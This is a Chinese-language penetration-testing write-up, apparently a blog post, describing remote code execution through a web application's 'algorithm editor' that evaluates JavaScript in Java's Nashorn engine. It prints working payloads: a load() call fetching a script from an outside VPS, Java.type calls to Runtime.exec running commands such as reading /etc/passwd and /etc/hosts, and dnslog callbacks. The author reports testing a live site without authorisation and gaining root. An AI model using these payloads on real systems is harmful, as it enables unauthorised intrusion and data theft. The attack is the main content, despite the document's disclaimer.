声明
免责声明:本文为个人作品,只做技术研究,只可用于正常的技术交流与学习,不可用于灰黑产业,不可从事违法犯罪行,严禁利用本文所介绍的技术进行未授权的恶意攻击,否则,后果自负!!!
在做功能测试时,关注到一个功能点,看到“算法编辑”感觉很厉害的样子
打开后看看,可以写代码。执行了下,就提示了个这个
查看格式化按钮旁边的【查看帮助接口】 看到里面写的特别像js 代码
结合前期对网站分析。发现后端用的node js,尝试写一个nodejs 代码执行
var process = require('child_process'); var cmd = 'ifconfig'; process.exec(cmd, function(error, stdout, stderr) { console.log("error:"+error); console.log("stdout:"+stdout); console.log("stderr:"+stderr); });
通过上面报错发现用了java的框架 来执行js 查一下api 教程 ,参考如下资料
介绍 Nashorn —— Java 8 JavaScript 引擎 | 耗子的博客
可以通过load 载入远程脚本
用以下样例脚本测试下。随便打印当前文件路径
var imports = new JavaImporter(java.io, java.lang); with (imports) { var file = new File(__FILE__); load('http://106.xxxx5:8989/underscore-min.js'); print(file.getAbsolutePath()); // /path/to/my/script.js }
发现vps 收到请求 ,客户端是java 1.8.0_212
服务器的路径也显示出来了
继续看资料 发现 通过 框架可以通过js创建java 对象 使用关键字 Java.type 就可以
于是在本地 导入这个库 模拟下环境。再来写一个 java代码执行的 试试
public static String runCmd(String command) { StringBuilder sb =new StringBuilder(); try { Process process=Runtime.getRuntime().exec("cmd /C " + command); InputStream inputStream = process.getInputStream(); InputStreamReader inputStreamReader = new InputStreamReader(inputStream); BufferedReader bufferedReader=new BufferedReader(inputStreamReader); String line; while((line=bufferedReader.readLine())!=null) { sb.append(line+"\n"); } } catch (Exception e) { return null; } return sb.toString(); }
当然格式要按照js的方法写
发现成功执行
赶紧拿到web上去测试下。
激动的心情。发现vps成功收到来自web的请求 而且是root权限
请求dnslog
最后改成直接把结果回显到页面上。这样下面得执行日志可以显示执行结果。前面都是无回显得
pwd && ifconfig && cat /etc/passwd
发现还存在内网。因为没有授权。所以点到为止 代码如下
var Runtime = Java.type('java.lang.Runtime'); var InputStreamReader = Java.type('java.io.InputStreamReader'); var BufferedReader = Java.type('java.io.BufferedReader'); var CmdArray = Java.type("java.lang.String[]"); var array = new CmdArray(3); array[0] = "/bin/bash"; array[1] = "-c"; array[2] = "pwd && ifconfig && cat /etc/hosts"; var process = Runtime.getRuntime().exec(array); var out = new BufferedReader(new InputStreamReader(process.getInputStream())); while ((line = out.readLine()) != null) { print(line); }
总结 :
发现算法编辑器->尝试执行nodejs 代码执行->发现调用得是java Nashorn引擎->写js代码调用java 方法执行代码->over!